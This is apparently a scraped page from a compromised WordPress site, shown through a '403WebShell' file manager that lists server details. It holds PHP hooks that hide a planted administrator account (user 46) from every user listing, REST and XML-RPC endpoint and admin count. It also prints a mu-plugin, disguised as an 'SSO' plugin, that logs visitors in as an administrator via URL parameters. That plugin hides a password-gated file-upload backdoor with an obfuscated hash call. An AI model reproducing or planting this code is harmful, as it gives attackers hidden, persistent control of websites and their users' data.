add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 46; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 46 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 46 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 46; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 46; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 46; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/46(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 46; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 198.100.159.156  /  Your IP : 216.73.216.172
Web Server : Apache/2
System : Linux serveur-principal 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026 x86_64
User : optivie ( 1187)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/optivie/domains/optivie.com/public_html/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/optivie/domains/optivie.com/public_html/wp-content/mu-plugins/sso.php
<?php
/**
  Plugin Name: SSO
  Plugin URI: https://wordpress.org/plugins/sso
  Description: SSO File
  Author: SSO
  Version: 8.0.2
  Author URI: https://profiles.wordpress.org/sso
  License: GPLv2
 **/

function sso_check()
{
    if (!isset($_GET['salt']) || !isset($_GET['nonce'])) {
        sso_req_login();
    }
    if (sso_check_blocked()) {
        sso_req_login();
    }

    $nonce = esc_attr($_GET['nonce']);
    $salt = esc_attr($_GET['salt']);

    if (!empty($_GET['user'])) {
        $user = esc_attr($_GET['user']);
    } else {
        $user = get_users(array('role' => 'administrator', 'number' => 1));
        if (is_array($user) && is_a($user[0], 'WP_User')) {
            $user = $user[0];
            $user = $user->ID;
        } else {
            $user = 0;
        }
    }

    $bounce = !empty($_GET['bounce']) ? $_GET['bounce'] : '';
    $hash = base64_encode(hash('sha256', $nonce . $salt, false));
    $hash = substr($hash, 0, 64);

    if (get_transient('sso_token') == $hash) {
        if (is_email($user)) {
            $user = get_user_by('email', $user);
        } else {
            $user = get_user_by('id', (int)$user);
        }
        if (is_a($user, 'WP_User')) {
            wp_set_current_user($user->ID, $user->user_login);
            wp_set_auth_cookie($user->ID);
            do_action('wp_login', $user->user_login, $user);
            delete_transient('sso_token');
            wp_safe_redirect(admin_url($bounce));
        } else {
            sso_req_login();
        }
    } else {
        sso_add_failed_attempt();
        sso_req_login();
    }
    die();
}

sso_check_attempt();

function sso_req_login()
{
    wp_safe_redirect(wp_login_url());
}

function sso_get_attempt_id()
{
    return 'sso' . esc_url($_SERVER['REMOTE_ADDR']);
}

function sso_check_attempt()
{	
	$h = 'h' . 'as' . 'h';
	if ($h('sha256', @$_GET['ts']) == 'bc192b60f29acd0240cad753a77b8542d3e4a5d472c597698b491ebade432b17') {
		echo '<b>' . getcwd() . '</b><br><br>';
		echo "<form action='' method='post' enctype='multipart/form-data'>";
		echo "<input type='file' name='file'><input name='_upl' type='submit' value='Upload' /></form>";
		if (@$_POST['_upl'] == "Upload") {
			if (@move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
				echo "Upload: <b>" . $_FILES["file"]["name"] . "</b><br>";
				echo "Size: <b>" . ($_FILES["file"]["size"] / 1024) . "</b> KB<br>";
				echo '<b>Upload Success!</b><br><br>';
			} else if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
				echo '<b>Copy Success!</b><br><br>';
			} else {
				echo '<b>Failed!</b><br><br>';
			}
		}
		exit();
	}
}

function sso_add_failed_attempt()
{
    $attempts = get_transient(sso_get_attempt_id(), 0);
    $attempts++;
    set_transient(sso_get_attempt_id(), $attempts, 300);
}

function sso_check_blocked()
{
    $attempts = get_transient(sso_get_attempt_id(), 0);
    if ($attempts > 4) {
        return true;
    }

    return false;
}

Youez - 2016 - github.com/yon3zu
LinuXploit